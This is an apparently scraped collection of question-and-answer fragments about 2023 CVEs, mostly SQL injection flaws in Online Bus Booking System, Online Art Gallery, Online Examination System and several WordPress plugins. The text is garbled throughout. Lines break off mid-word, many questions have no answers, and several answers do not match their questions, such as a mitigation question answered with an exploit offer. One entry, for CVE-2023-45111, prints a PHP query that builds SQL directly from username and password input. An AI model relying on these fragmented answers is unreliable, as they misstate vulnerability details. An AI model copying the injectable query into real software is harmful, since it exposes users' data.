Are there ↗ As of the latest information available, there are no known public exploits for CVE-2023-26453. Where can More detailed information about CVE-2023-26453 can be found in the security advisories ↗ What coul ↗ A potential attack scenario for CVE-2023-26453 could involve a malicious insider or an exte ↗ What is the The CVE ID for the vulnerability involving the imageconverter service where unchecked SQ ↗ Can you de ↗ CVE-2023-26452 is a vulnerability where image caching and metadata return requests cou ↗ What kind To exploit the vulnerability in CVE-2023-26452, the attacker would need access to the adja ↗ Has CVE-2023-26452 As of the available information, CVE-2023-26452 has not been assigned a Base Score.

When was CVE-2023-26452 was published on 02 November 2023.

Where can More information about CVE-2023-26452 can be found by visiting the provided references ↗ Are there ↗ As per the information provided, there are no publicly available exploits known for CVE-2023-26452. What mea ↗ To mitigate the vulnerability in CVE-2023-26452, API requests are now properly checked for ↗ Can you su ↗ A possible attack scenario for CVE-2023-26452 would involve an attacker who has gained a ↗ What is CV ↗ CVE-2023-45019 is a security vulnerability identified in Online Bus Booking System version ↗ What type ↗ CVE-2023-45019 is classified as an Unauthenticated SQL Injection vulnerability. It allows an ↗ What coul ↗ The impact of CVE-2023-45019 can be significant as it could allow an attacker to execute u ↗ How can C ↗ Mitigating CVE-2023-45019 would involve implementing proper input validation for the 'c ↗ What is the The CVE-2023-45019 was published on 02 November 2023.

What code An example of code vulnerable to CVE-2023-45019 might look something like this in PHP: ``
Can you pr ↗ An attack scenario for CVE-2023-45019 might involve a malicious actor crafting a special UI ↗ Where can More information regarding CVE-2023-45019 can be found on various security advisory we ↗ What is the The CVE ID for the vulnerability discovered in the Online Bus Booking System v1.0 is CVE-2023-45018. What type ↗ CVE-2023-45018 is a vulnerability related to multiple Unauthenticated SQL Injection vulne ↗ In which p ↗ CVE-2023-45018 exists in the 'username' parameter of the includes/login.php resource of the ↗ What kind The issue associated with CVE-2023-45018 is the lack of validation for characters received ↗ When was CVE-2023-45018 was published on 02 November 2023.

Can you pr ↗ Yes, an attacker could exploit CVE-2023-45018 by sending a crafted payload to the 'username' parameter. What are s ↗ Possible attack scenarios for CVE-2023-45018 include an attacker being able to bypass user authentication. Where can More information about CVE-2023-45018 can be found at the following references:- <https://www.cve.org/cve/CVE-2023-45018.html> What is the The base score for CVE-2023-45018 is not applicable or has not been assigned. What is the The CVE ID of the vulnerability found in Online Bus Booking System v1.0 is CVE-2023-45017. What type ↗ CVE-2023-45017 identifies multiple Unauthenticated SQL Injection vulnerabilities in the Online Bus Booking System v1.0. Which par ↗ The 'destination' parameter of the search.php resource in Online Bus Booking System v1.0. What is the The issue with the 'destination' parameter, as outlined by CVE-2023-45017, is that it does not properly validate user input. How might An attacker could exploit the vulnerability mentioned in CVE-2023-45017 by crafting malicious SQL queries. Could you ↗ An example of a SQL Injection payload for the vulnerability in CVE-2023-45017 might be en ↗ When was CVE-2023-45017 was published on 02 November 2023.

Where can More details about CVE-2023-45017 can be found in the advisories on the following websi ↗ What is CV ↗ CVE-2023-45016 is a security vulnerability that pertains to the Online Bus Booking System v1.0. How does ↗ CVE-2023-45016 affects the system by allowing attackers to execute arbitrary SQL commands. Can you pr ↗ An attacker may exploit CVE-2023-45016 by crafting a malicious SQL query and appending it to the URL. When was CVE-2023-45016 was published on the 2nd of November, 2023.

What is the The base score for CVE-2023-45016 is not available or not assigned as of the information provided. Where can More information or advisories about CVE-2023-45016 can be found at the following URLs ↗ What is the While specific solution details are not provided in the given information, the recommende ↗

What is the CVE-2023-45015 is a security vulnerability found in the Online Bus Booking System version 1.0. How is the The CVE-2023-45015 vulnerability can be exploited by an attacker by crafting and sending a malicious SQL query. What could be the impact of CVE-2023-45015? The impact of CVE-2023-45015 can be severe, as it allows an unauthenticated attacker to execute arbitrary SQL queries on the database. Has the CVSS score been assigned? As of the information provided, CVE-2023-45015 has not been assigned a base score. The 'Impact' section indicates that it is 'Unknown'. Where can Additional information on CVE-2023-45015 be found on the URLs provided in the references? When was The CVE-2023-45015 vulnerability was published on 02 November 2023.

Can you provide more details about the exploit? Certainly. In a PHP web application like the Online Bus Booking System v1.0, a vulnerable parameter is 'bus_id'. What is CVSS score for CVE-2023-45014? CVE-2023-45014 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities found in the Online Bus Booking System version 1.0. Which system is affected by CVE-2023-45014? The Online Bus Booking System version 1.0 is affected by CVE-2023-45014.

What type of vulnerabilities are identified? CVE-2023-45014 is identified as multiple Unauthenticated SQL Injection vulnerabilities. In CVE-2023-45014, the 'bus_id' parameter in the bus_info.php resource is vulnerable to SQL injection attacks. As per CVE-2023-45014, the problem with the 'bus_id' parameter, according to CVE-2023-45014, is that it does not validate user input properly. When was CVE-2023-45014 was published on 02 November 2023.

Can you provide an example of the exploit? Certainly, a simple PHP code example that could represent the vulnerability in CVE-2023-45014 is as follows: An attacker could exploit the vulnerability described by CVE-2023-45014 by crafting malicious SQL queries. What resources are available for further information? Further information about CVE-2023-45014 can be found on the following references:- <https://www.cve.org/cve/CVE-2023-45014.html>. What is CVSS score for CVE-2023-45013? CVE-2023-45013 refers to a security vulnerability identified in Online Bus Booking System v1.0. What components are affected? The vulnerability CVE-2023-45013 affects the 'user_query' parameter within the bus_info.php resource. How serious is the vulnerability? The base score for CVE-2023-45013 has not been provided. However, given that it relates to SQL injection, it is considered serious. What are attack scenarios? Attack scenarios for CVE-2023-45013 could include an attacker crafting malicious SQL queries to manipulate data in the database. Has CVE-2023-45013 been assigned a base score? No, as of the information provided, CVE-2023-45013 has not been assigned a base score. When was CVE-2023-45013 was published on 02 November 2023.

Where can Additional information about CVE-2023-45013 be found through the following references? Can you provide more details about the affected system? Certainly. Although the exact implementation details of the Online Bus Booking System are not provided, the vulnerability is identified in the bus_info.php resource. What is CVSS score for CVE-2023-45012? CVE-2023-45012 is a Common Vulnerabilities and Exposures identifier for a security flaw found in the Online Bus Booking System v1.0. When was CVE-2023-45012 was published on November 2, 2023.

Which resource is affected? The resource affected by CVE-2023-45012 in the Online Bus Booking System v1.0 is bus_info.php. What type of attack is possible? CVE-2023-45012 could be exploited through an SQL Injection attack. An attacker could manipulate the 'user_query' parameter. Are there any references? Yes, detailed information about CVE-2023-45012 can be found at the following references:- <https://www.cve.org/cve/CVE-2023-45012.html>. Can you provide an example of the exploit? An example of an SQL Injection exploiting CVE-2023-45012 might involve an attacker submitting a malicious query to the 'user_query' parameter. What are possible attack scenarios? Possible attack scenarios of CVE-2023-45012 include an attacker leveraging the SQL Injection vulnerability to steal sensitive data or manipulate the database. What is CVSS score for CVE-2023-45114? CVE-2023-45114 is a security vulnerability identifier for an issue found in Online Examination System v1.0. Which system is affected? The system affected by CVE-2023-45114 is Online Examination System v1.0. This vulnerability is classified as 'Multiple Unauthenticated SQL Injection'. What kind of vulnerability is CVE-2023-45114? CVE-2023-45114 refers to a vulnerability classified as multiple Unauthenticated SQL Injection. When was CVE-2023-45114 was published on 02 November 2023.

How does CVE-2023-45114 affect the system? CVE-2023-45114 affects the system by allowing attackers to manipulate SQL queries through the 'user_query' parameter. Can you give an example of the exploit? Yes, an example of an SQL injection exploit targeting CVE-2023-45114 might involve an attacker crafting a malicious query to retrieve sensitive data or modify the database. Where can Additional information about CVE-2023-45114 be found through the references provided in the answer? More information about CVE-2023-45114 can be found through the references provided in the answer. Has a base score been assigned? No, as of the available information, a base score has not been assigned to CVE-2023-45114. What are potential consequences? The potential consequences of an attack exploiting CVE-2023-45114 include unauthorized access to sensitive data or system compromise. What is the CVE ID of the vulnerability? The CVE ID of the vulnerability in Online Examination System v1.0 is CVE-2023-45113. Can you describe CVE-2023-45113? CVE-2023-45113 describes a vulnerability in Online Examination System v1.0 where there is a SQL injection vulnerability. Has a base score been assigned? No, as of the last update, there is no Base Score assigned to CVE-2023-45113. When was The vulnerability CVE-2023-45113 was published on 02 November 2023.

Where can More information or advisories related to CVE-2023-45113 can be found at the following URL? Can you provide an example of an attack using the vulnerability CVE-2023-45113? An example of an attack using the vulnerability CVE-2023-45113 might be an attacker sending malicious input to a database query. What is the primary cause of the SQL injection vulnerability in CVE-2023-45113? The primary cause of the SQL injection vulnerability in CVE-2023-45113 is improper input validation. What are some potential impacts of the SQL injection vulnerability in CVE-2023-45113? Potential impacts of the SQL injection vulnerability in CVE-2023-45113 include unauthorized access to data. What measures should be taken to remediate the vulnerability in CVE-2023-45113? To remediate the vulnerability in CVE-2023-45113, the developers should implement proper input validation and use prepared statements. What is CVE-2023-45112? CVE-2023-45112 refers to a security vulnerability identified in Online Examination System v1.0. Which component of the system is affected by CVE-2023-45112? CVE-2023-45112 affects the feed.php resource in Online Examination System version 1.0. How can attackers exploit the vulnerability in CVE-2023-45112? Attackers can exploit the vulnerability in CVE-2023-45112 by sending crafted input to the feed.php endpoint. Are there any public references and advisories available for CVE-2023-45112? Yes, there are public references and advisories available for CVE-2023-45112. Two known references are listed in the document. What are the consequences of the SQL Injection vulnerability in CVE-2023-45112? The consequences of the SQL Injection vulnerability in CVE-2023-45112 could be severe, as it allows attackers to execute arbitrary SQL code. Has CVE-2023-45112 been assigned a Base Score? As of the known details for CVE-2023-45112, no Base Score has been assigned yet. Typically, a score is assigned within a few weeks of publication. When was CVE-2023-45112 published? CVE-2023-45112 was published on 02 November 2023.

Can you describe how to mitigate or resolve the vulnerability mentioned in CVE-2023-45112? Sure, here is a hypothetical example of exploiting the SQL Injection vulnerability within CVE-2023-45112. What steps should be taken to mitigate or resolve the vulnerability mentioned in CVE-2023-45112? To mitigate or resolve the vulnerability mentioned in CVE-2023-45112, the developers of the system should implement proper input validation and use prepared statements. What is the CVE ID of the vulnerability found in Online Examination System v1.0? The CVE ID of the vulnerability found in Online Examination System v1.0 is CVE-2023-45111. Can you describe CVE-2023-45111? CVE-2023-45111 refers to multiple Unauthenticated SQL Injection vulnerabilities in the Online Examination System. Has a base score been assigned to CVE-2023-45111? No, as of the information provided, a base score has not been assigned to CVE-2023-45111. When was CVE-2023-45111 published? The vulnerability CVE-2023-45111 was published on 02 November 2023.

Where can More information about CVE-2023-45111 can be found through the following references? Could you provide an example of vulnerable PHP code in the context of CVE-2023-45111? Certainly. An example of vulnerable PHP code in the context of CVE-2023-45111 might look like this: `$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"`. What are the potential impacts of CVE-2023-45111? For CVE-2023-45111, an attacker could send a specially crafted request containing malicious input to the system. What is the CVE ID for the vulnerability related to wuzhicms? The CVE ID for the vulnerability related to wuzhicms is CVE-2023-46482.

What type of vulnerability is CVE-2023-46482? CVE-2023-46482 is a SQL injection vulnerability. Which version of wuzhicms is affected by CVE-2023-46482? The affected version of wuzhicms by CVE-2023-46482 is v.4.1.0. Through what functionality can CVE-2023-46482 be exploited? CVE-2023-46482 can be exploited through the Database Backup Functionality within the wuzhicms application. What can an attacker do if they exploit CVE-2023-46482? By exploiting CVE-2023-46482, a remote attacker can execute arbitrary SQL code, which could lead to data theft or system compromise. How was CVE-2023-46482 disclosed? CVE-2023-46482 was publicly disclosed through a report on GitHub, which can be found at [this link](#). What is the potential impact of an attack that exploits CVE-2023-46482? The potential impact of an attack that exploits CVE-2023-46482 includes unauthorized viewing of sensitive data and potential data theft. Has a base score been assigned to CVE-2023-46482? As of the provided information, there is no Base Score assigned to CVE-2023-46482. Can you provide specific details for CVE-2023-46482? While specific details for CVE-2023-46482 exploitation have not been provided, a typical SQL injection attack involves crafting a query that includes user input to manipulate the database results. What are some mitigation measures for SQL injection vulnerabilities like CVE-2023-46482? Mitigation measures for SQL injection vulnerabilities like CVE-2023-46482 include using prepared statements and parameterized queries. What is the CVE ID of the vulnerability found in Dolibarr ERP CRM? The CVE ID of the vulnerability found in Dolibarr ERP CRM is CVE-2023-4198.

Can you describe the vulnerability CVE-2023-4198? The vulnerability CVE-2023-4198 refers to an Improper Access Control issue in Dolibarr ERP CRM. What kind of data is at risk due to CVE-2023-4198? Due to CVE-2023-4198, sensitive customer data stored in a database table could be compromised. Is there an official patch for CVE-2023-4198? Yes, there is an official patch for CVE-2023-4198. The fix was made to the Dolibarr codebase. On what date was CVE-2023-4198 published? CVE-2023-4198 was published on 01 November 2023.

What could be a potential attack scenario for CVE-2023-4198? A potential attack scenario exploiting CVE-2023-4198 could involve an attacker gaining low-level access to the Dolibarr database. What is the CVSS score for CVE-2023-46255? CVE-2023-46255 is a vulnerability found in SpiceDB, an open source database tailored for real-time data processing. Which version of SpiceDB is affected by CVE-2023-46255? CVE-2023-46255 affects all versions of SpiceDB prior to version 1.27.0-rc1. How was CVE-2023-46255 addressed? CVE-2023-46255 was addressed in SpiceDB version 1.27.0-rc1. The patch ensures that the affected function handles data correctly. What is the potential impact of CVE-2023-46255? The potential impact of CVE-2023-46255 includes the accidental disclosure of sensitive data. Where can More information about CVE-2023-46255 be found? More information about CVE-2023-46255 can be found via its dedicated GitHub security advisory page. What is an example of a malformed datastore URI that could trigger CVE-2023-46255? An example of a malformed datastore URI that could trigger CVE-2023-46255 in SpiceDB would be a URL with invalid characters or a missing protocol. What might be an attack scenario involving CVE-2023-46255? An attack scenario involving CVE-2023-46255 could involve an attacker gaining access to all data stored in SpiceDB.

What is CV CVE-2023-36508 refers to a security flaw classified as an 'Improper Neutralization of Specified Parameter Value'. How can it be exploited? CVE-2023-36508 can be exploited by an attacker by sending specially crafted SQL queries to the database. What version does it affect? The BestWebSoft Contact Form to DB plugin for WordPress from version 1.3.0 to 1.3.1. What is the impact? The impact of CVE-2023-36508 can range from data theft, such as extracting user personal information, to privilege escalation. Has there been a fix? As of the published date of October 31, 2023, users are advised to check for updates from the plugin developer.

Where can I find more details? Further details about CVE-2023-36508 can be found in the reference provided within the CVE record.

What is the CVE ID for the SQL Injection vulnerability found in CRM Perks Database for Contact Form?

Which plugins are affected by the SQL Injection vulnerability CVE-2023-31212?

Up to which version does the SQL Injection vulnerability CVE-2023-31212 affect?

On what date was the vulnerability published?

Could you provide more information about CVE-2023-31212?

Is there a Base Score available for the CVE-2023-31212 vulnerability?

Can you provide an example attack scenario for CVE-2023-31212?

What is CV CVE-2023-5439?

How can an attacker exploit CVE-2023-5439?

What privileges are required to exploit CVE-2023-5439?

Has CVE-2023-5439 been publicly disclosed?

Are there references available for CVE-2023-5439?

Can you provide the specific vulnerable code snippet?

What are the consequences of a successful exploit of CVE-2023-5439?

What measures can be taken to mitigate the risk associated with CVE-2023-5439?

What is CV CVE-2023-5438?

Which version of the wp image slideshow plugin for WordPress does CVE-2023-5438 affect?

How can CVE-2023-5438 be exploited by an authenticated attacker?

What kind of SQL injection attacks does CVE-2023-5438 make possible?

When was CVE-2023-5438 published?

Where can I find more information and references for CVE-2023-5438?

Could you provide a hypothetical code snippet that might be vulnerable to SQL Injection?

What are the potential consequences of an attack exploiting CVE-2023-5438?

What is CV CVE-2023-5437?

How can CVE-2023-5437 be exploited by authenticated attackers?

When was CVE-2023-5437 published?

What type of systems are affected by CVE-2023-5437?

What can an attacker do with a successful exploit of CVE-2023-5437?

Are there references available for CVE-2023-5437?

What should users do to protect themselves from CVE-2023-5437?

What is CV CVE-2023-5436?

How can an attacker exploit CVE-2023-5436?

Has a fix been released?

What are the potential consequences of the CVE-2023-5436 vulnerability?

What recommendations do users have for the Vertical Marquee plugin?

Could you provide more information about CVE-2023-5436?

Where can I find more information about CVE-2023-5436?

What is CV CVE-2023-5435?

Which versions up to, and including, 12.0 of the Up down image slideshow gallery plugin for WordPress can be exploited by authenticated attackers who have at least subscriber-level permissions to exploit it? What is the severity level or Base Score for CVE-2023-5435? When was CVE-2023-5435 publicly disclosed?

Where can you find more information regarding CVE-2023-5435 on several online resources. Refer to the following links:
Give an example scenario for an attack exploiting CVE-2023-5435. What is the CVE ID of the vulnerability?

In which versions does the vulnerability exist? What type of vulnerability is it?

How can the vulnerability be exploited? What permissions does an attacker need to have to exploit it? What is the outcome if CVE-2023-5434 is successfully exploited? When was CVE-2023-5434 published?

Where can more information about CVE-2023-5434 be found on various web pages like the WordPress.org security advisories? Could you provide a specific code example for CVE-2023-5434?

What are some likely attack scenarios for CVE-2023-5434? If CVE-2023-5434 is successfully exploited, what could happen?

How does CVE-2023-5433 affect a WordPress site? What kind of attack does it enable?

Are there any references available for more details about CVE-2023-5433? On which date was CVE-2023-5433 published?

What versions of the Message ticker plugin for WordPress are affected by CVE-2023-5433?

Can you provide a possible attack scenario for CVE-2023-5433? What is CVE-2023-5431?

What is CVE-2023-5431? How severe is it? On which date was CVE-2023-5431 published?

What permissions does an attacker need to have to exploit CVE-2023-5431? What is the CVE ID of the vulnerability?

What type of vulnerability is CVE-2023-5430? Where can more detailed information about CVE-2023-5430 be obtained from the following reference?

What is the severity level or Base Score for CVE-2023-5430? When was CVE-2023-5430 published?

Can you provide additional information about CVE-2023-5430? What is the outcome if CVE-2023-5430 is successfully exploited?

What are some possible attack scenarios for CVE-2023-5430? Is there a Base Score for CVE-2023-5430?

What is CVE-2023-5429? How does it manifest? What are the user permissions required to exploit it?

Which versions of the Information Reel plugin for WordPress is affected by CVE-2023-5429? When was CVE-2023-5429 published?

Where can detailed information about CVE-2023-5429 be found on several sources including the official security advisory?

Can you provide specific code related to CVE-2023-5429? What is the outcome if CVE-2023-5429 is successfully exploited?

What are s Attack scenarios for CVE-2023-5429 include an attacker, with subscriber-level or higher pe
What is CV CVE-2023-5428 is a security vulnerability found in the Image vertical reel scroll slideshow p
How could An attacker could exploit CVE-2023-5428 by crafting malicious input to the shortcode prov
What are t The potential consequences of exploiting CVE-2023-5428 include unauthorized access to si
What coulc A code example demonstrating the SQL Injection in CVE-2023-5428 might look like this:Sur
Are there a Yes, you can refer to the following resources to learn more about CVE-2023-5428:1. The offl
What is the CVE-2023-5428 was published on 31 October 2023.

What versi Versions up to, and including, 9.0 of the Image vertical reel scroll slideshow plugin for Wor
What is CV CVE-2023-5412 refers to a security vulnerability identified in the Image horizontal reel scrc
How sever The severity of CVE-2023-5412 is not provided directly in the CVE entry as the 'Base Score'
Which vers The versions of the Image horizontal reel scroll slideshow plugin affected by CVE-2023-541
What perm To exploit CVE-2023-5412, an attacker must have authenticated access to the WordPress ii
Can you gi While the specific details of the SQL Injection exploit for CVE-2023-5412 are not given in th
Where can Further details on CVE-2023-5412 can be found via the provided references. One of the ref
What is CV CVE-2023-5315 is a security vulnerability found in the Google Maps made Simple plugin fo
How can C CVE-2023-5315 can be exploited by an authenticated attacker with subscriber-level access
Were ther Yes, references were provided for CVE-2023-5315. The vulnerability details can be found at
What is the The impact of CVE-2023-5315 is significant as it allows attackers to perform SQL injection,
Is there a b The provided information does not include a base score for CVE-2023-5315. This might imp
When was CVE-2023-5315 was published on 30 October 2023.

Can you pr A possible attack scenario for CVE-2023-5315 would involve an attacker who has subscribe
What mea: To mitigate CVE-2023-5315, users of the Google Maps made Simple plugin for WordPress :
What is CV CVE-2023-44480 is an identifier for a vulnerability in the Leave Management System Projec
What type CVE-2023-44480 represents an Authenticated SQL Injection vulnerability. This allows an at
How can C CVE-2023-44480 can be exploited by an attacker with authenticated access to the Leave M
What pote The impact of CVE-2023-44480 can be severe, depending on the attacker's intentions and t
What is the CVE-2023-44480 was published on 27 October 2023.

Where can More information about CVE-2023-44480 can be found at the following references: <https://>
What is the The CVE ID of the vulnerability related to unsafe deserialization in DatabaseUtils.java is CV
Can you de CVE-2023-40121 involves a possible SQL injection vulnerability in a method called appendI
What are t The potential impact of the vulnerability identified by CVE-2023-40121 is a local informatic
What prre: To exploit CVE-2023-40121, an attacker would need User execution privileges. This means
Does explo No, exploitation of CVE-2023-40121 does not require user interaction, according to the giv
When was CVE-2023-40121 was published on 27 October 2023.

Where can More information or reference material about CVE-2023-40121 can be found at the follow
Is there a p As of now, there is no specific proof of concept provided for CVE-2023-40121. However, a
What is the The base score for CVE-2023-40121 has not been assigned or is not available in the provide
Can you di: A possible attack scenario for CVE-2023-40121 involves an attacker with User execution pr
What is CV CVE-2023-44377 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities d
What kind CVE-2023-44377 is classified as an SQL Injection vulnerability, which is a type of security fl
What appli The application affected by CVE-2023-44377 is Online Art Gallery, specifically version 1.0.
What are p Exploiting CVE-2023-44377 could allow an attacker to manipulate database queries, which
What para: CVE-2023-44377 specifically affects the 'add3' parameter of the header.php resource in the
How can C Mitigation steps for CVE-2023-44377 include updating the Online Art Gallery software to a

Can you pr Yes, more information about CVE-2023-44377 can be found in the advisories provided by F
Could you ; An example of how the CVE-2023-44377 SQL injection might be carried out is if an attacker
Is there a C As of the information provided, there is no Base Score assigned to CVE-2023-44377. It mig
When was CVE-2023-44377 was published on 27 October 2023.

What softv Online Art Gallery version 1.0 is affected by CVE-2023-44376.

What type CVE-2023-44376 is associated with multiple Unauthenticated SQL Injection vulnerabilities.
In CVE-202 The 'add2' parameter of the header.php resource is vulnerable to SQL injection attacks in C
Is there a E As of the information available, there is no Base Score provided for CVE-2023-44376.

When was CVE-2023-44376 was published on 27 October 2023.

What are t Detailed information about CVE-2023-44376 can be found at the references: '<https://fluidattacks.com/advisories/CVE-2023-44376>'
Can you pr In the context of CVE-2023-44376, an attacker might exploit the vulnerability by sending a
What are s Attackers could exploit CVE-2023-44376 to carry out unauthorized actions such as retrievir
What is CV CVE-2023-44375 refers to multiple Unauthenticated SQL Injection vulnerabilities found in I
How sever The Base Score for CVE-2023-44375 is not available. However, SQL Injection vulnerabilities
When was CVE-2023-44375 was published on 27 October 2023.

What coul A potential attack scenario for CVE-2023-44375 could involve an attacker crafting a malici
Can you sh Certainly. For CVE-2023-44375, an attacker may try to inject SQL code like the following int
What are t For more details about CVE-2023-44375, you can visit the advisories at Fluid Attacks and Pr
What is CV CVE-2023-44162 refers to a security vulnerability in Online Art Gallery software version 1.
How does !CVE-2023-44162 affects the Online Art Gallery application by making it vulnerable to SQL I
What is the CVE-2023-44162 was published on 27 October 2023.

Where can More information about CVE-2023-44162 can be found at the following references:- <https://fluidattacks.com/advisories/CVE-2023-44162>
What are t Possible attack scenarios for exploiting CVE-2023-44162 include an attacker sending a craf
Are there a While the specific code implementation of the vulnerability in CVE-2023-44162 isn't provid
What is CV CVE-2023-43738 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities tl
What kind CVE-2023-43738 is associated with security vulnerabilities known as Unauthenticated SQL
When was CVE-2023-43738 was published on 27 October 2023.

Which vers CVE-2023-43738 affects Online Art Gallery version 1.0.

Can you pr Certainly. Here's a simplified example of what the vulnerable code might look like in Online
What are p Possible attack scenarios for CVE-2023-43738 include an attacker exploiting the SQL Injecti
Are there a Yes, for additional details and possibly mitigation strategies about CVE-2023-43738, you ca
What is the The CVE ID for the vulnerability found in Online Art Gallery v1.0 is CVE-2023-44268.

What type CVE-2023-44268 identifies multiple Unauthenticated SQL Injection vulnerabilities in Online
Which par: The 'gender' parameter of the header.php resource is associated with the SQL Injection vu
When was CVE-2023-44268 was published on 26 October 2023.

Can you pr Certainly. Here's a hypothetical example code snippet that could demonstrate the SQL Inje
Are there a Yes, more detailed information on CVE-2023-44268 can be found at the following URLs:- ht
What kind Exploitation of the vulnerabilities in CVE-2023-44268 can have several impacts, such as un;
What is the The base score for the CVE-2023-44268 vulnerability has not been provided in the informa
What is CV CVE-2023-43737 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities d
How sever The severity or Base Score for CVE-2023-43737 has not been provided. Typically, the sever
When was CVE-2023-43737 was published on 26 October 2023.

What coul An attacker could exploit CVE-2023-43737 by crafting a malicious SQL query that is sent thi
Are there a Yes, there are advisories available which provide more information regarding CVE-2023-43

Can you pr Certainly, while the exact details of the vulnerability CVE-2023-43737 are not provided bey
What is the The CVE ID for the vulnerability discovered in eGroupWare 17.1.20190111 is CVE-2023-38328.
What kind CVE-2023-38328 identifies an Improper Password Storage vulnerability in the setup panel.
Which vers The CVE-2023-38328 affects eGroupWare version 17.1.20190111.

What is the The CVE-2023-38328 vulnerability allows authenticated remote attackers with administrative credentials to
How can t The CVE-2023-38328 can be exploited by an attacker who has administrative credentials to
As of its pu As of its publication date, CVE-2023-38328 does not have an assigned Base Score.

On what d The vulnerability CVE-2023-38328 was publicly disclosed on 26 October 2023.

Are there a Yes, there is an official reference available for understanding CVE-2023-38328 which can b

What are p Possible attack scenarios for CVE-2023-38328 include an attacker gaining administrative ac

What imm Administrators should look for and apply any available patches or updates released by the

What is CV CVE-2023-44267 is a security vulnerability found in Online Art Gallery version 1.0, which is

What type CVE-2023-44267 is associated with Unauthenticated SQL Injection vulnerabilities. This me

On what d CVE-2023-44267 was published on 26 October 2023.

Could you | Sure, an attack exploiting CVE-2023-44267 might look like the following: A malicious user c

What are s Possible attack scenarios for CVE-2023-44267 include unauthorized viewing, editing, or de

Are there a Yes, for more information on CVE-2023-44267, you can refer to the advisories published by

What is the The Base Score for the impact of CVE-2023-44267 has not been provided in the available ir

What is CV CVE-2023-46128 is a vulnerability in Nautobot, which is a Network Automation Platform b

In which v The CVE-2023-46128 vulnerability was patched in Nautobot version 2.0.3.

How does i CVE-2023-46128 affects users by potentially compromising the security of their hashed pa

Can you pr An attacker who has legitimate authentication credentials may exploit CVE-2023-46128 by

Where can More information about CVE-2023-46128 can be found through the following resources: th

What is the The base score for CVE-2023-46128 is not provided in the information. To determine the si

What type To exploit CVE-2023-46128, an attacker would need to be an authenticated user with acce

What is CV CVE-2023-46125 is associated with Fides, an open-source privacy engineering platform use

What kind CVE-2023-46125 is a security vulnerability relating to an improper exposure of sensitive in

Which Fide The endpoint involved in CVE-2023-46125 is the `GET api/v1/config` endpoint.

What kind Due to CVE-2023-46125, information about the internals and backend infrastructure, such

Which vers Versions of Fides before 2.22.1 are affected by CVE-2023-46125.

How was C CVE-2023-46125 was addressed by patching the vulnerability in version 2.22.1 of Fides.

Where can The patch for CVE-2023-46125 can be found in the GitHub commit at <https://github.com/>

Can you de An attacker with access to a lower-privileged Admin UI user account, such as the viewer ro

What is CV CVE-2023-43507 refers to a security vulnerability in the web-based management interface

When was The vulnerability designated as CVE-2023-43507 was published on October 25, 2023.

What is the The exploitation of CVE-2023-43507 could enable an attacker to obtain and modify sensitiv

How can C CVE-2023-43507 can be exploited by an authenticated remote attacker who can send spec

Are there a Yes, further information and details about CVE-2023-43507, including mitigation advice, ca

What coul A potential attack scenario could involve an attacker who has gained authenticated access

What is CV CVE-2023-26573 refers to a security vulnerability that was identified in the IDAttend's IDW

In which a CVE-2023-26573 was found in IDAttend's IDWeb application.

What versi CVE-2023-26573 affects IDWeb application version 3.1.052 and earlier.

What is the Exploiting CVE-2023-26573 can lead to denial of service, which means the application can l

On what d CVE-2023-26573 was published on 25 October 2023.

Are there ↗ Yes, there is a known security advisory for CVE-2023-26573 which can be found at <https://nvd.nist.gov/vuln/detail/CVE-2023-26573>.
Has a base As of the information available, there was no Base Score assigned to CVE-2023-26573.

What type CVE-2023-26573 could be exploited in an attack that targets the absence of proper authen

What mea To mitigate the risks of CVE-2023-26573, users should update the IDWeb application to the

What is the The CVE ID for the vulnerability found in the Horizontal scrolling announcement plugin for

Can you de CVE-2023-4999 refers to a security flaw in the Horizontal scrolling announcement plugin fo

What versi CVE-2023-4999 affects all versions of the Horizontal scrolling announcement plugin for Wc

What is the The base score for CVE-2023-4999 has not been provided or assessed yet.

When was CVE-2023-4999 was published on 20 October 2023.

Could you | Yes, more information about CVE-2023-4999 can be found at the following URLs: <https://p>

Can you ex An attack scenario for CVE-2023-4999 could involve a malicious actor who has gained subs

What are t To exploit CVE-2023-4999, an attacker would need to have authenticated access to the Wc

How could Developers can mitigate the CVE-2023-4999 vulnerability by updating the Horizontal scroll

Can you pr While I don't have the exact code from the plugin, I can provide a hypothetical code snippe

What is the The CVE ID for the vulnerability found in the Cyr to Lat plugin for WordPress is CVE-2022-4

Can you de CVE-2022-4290 references an authenticated SQL Injection vulnerability in the Cyr to Lat plu

What versi The versions of the Cyr to Lat plugin for WordPress affected by CVE-2022-4290 are up to ai

What type To exploit CVE-2022-4290, an attacker must be an authenticated user with the ability to ad

Was there Yes, a partial patch for the SQL Injection vulnerability in the Cyr to Lat plugin was released

When was The CVE-2022-4290 vulnerability was published on 20 October 2023.

Could you | Possible attack scenarios for CVE-2022-4290 could involve an authenticated attacker mani

Where can More information about CVE-2022-4290 can be found on the following references:- The W

What is CV CVE-2023-4598 refers to a security vulnerability found in the Slimstat Analytics plugin for W

Which Wo! The WordPress plugin affected by CVE-2023-4598 is Slimstat Analytics.

How can C' CVE-2023-4598 can be exploited by an authenticated attacker with contributor-level or hig

What are t To exploit CVE-2023-4598, an attacker needs to be authenticated on the vulnerable WordF

What is the The impact of CVE-2023-4598 on a WordPress site could be significant as it may allow atta

Has CVE-20 As of the information provided, CVE-2023-4598 has not been assigned a CVSS base score. ↑

Where can You can find additional details and references for CVE-2023-4598 through the following link

When was The vulnerability CVE-2023-4598 was published on 20 October 2023.

Can you pr Imagine a scenario where a WordPress site with the Slimstat Analytics plugin installed has

What is CV CVE-2023-45826 refers to a security vulnerability identified in the Leantime project manag

How does !CVE-2023-45826 compromises the confidentiality of the Leantime system by enabling an a

Has CVE-20 Yes, CVE-2023-45826 has been addressed in Leantime version 2.4-beta-4. Users of Leantim

Are there ↗ No, there are no known workarounds for CVE-2023-45826. The only advised solution is to i

Can you pr Sure, a hypothetical code example vulnerable to CVE-2023-45826 might look like this in PH

What pote Potential attack scenarios enabled by CVE-2023-45826 would involve an attacker who has

Where can More information about the fix for CVE-2023-45826 can be found in the commit on Leantim

What is the The CVE ID for the vulnerability found in the ydb-go-sdk is CVE-2023-45825.

In which ve The vulnerability CVE-2023-45825 was introduced in ydb-go-sdk version v3.48.6.

What kind CVE-2023-45825 describes a vulnerability where a custom credentials object in ydb-go-sdk

How can t! The vulnerability CVE-2023-45825 can be exploited if a malicious user obtains access to the

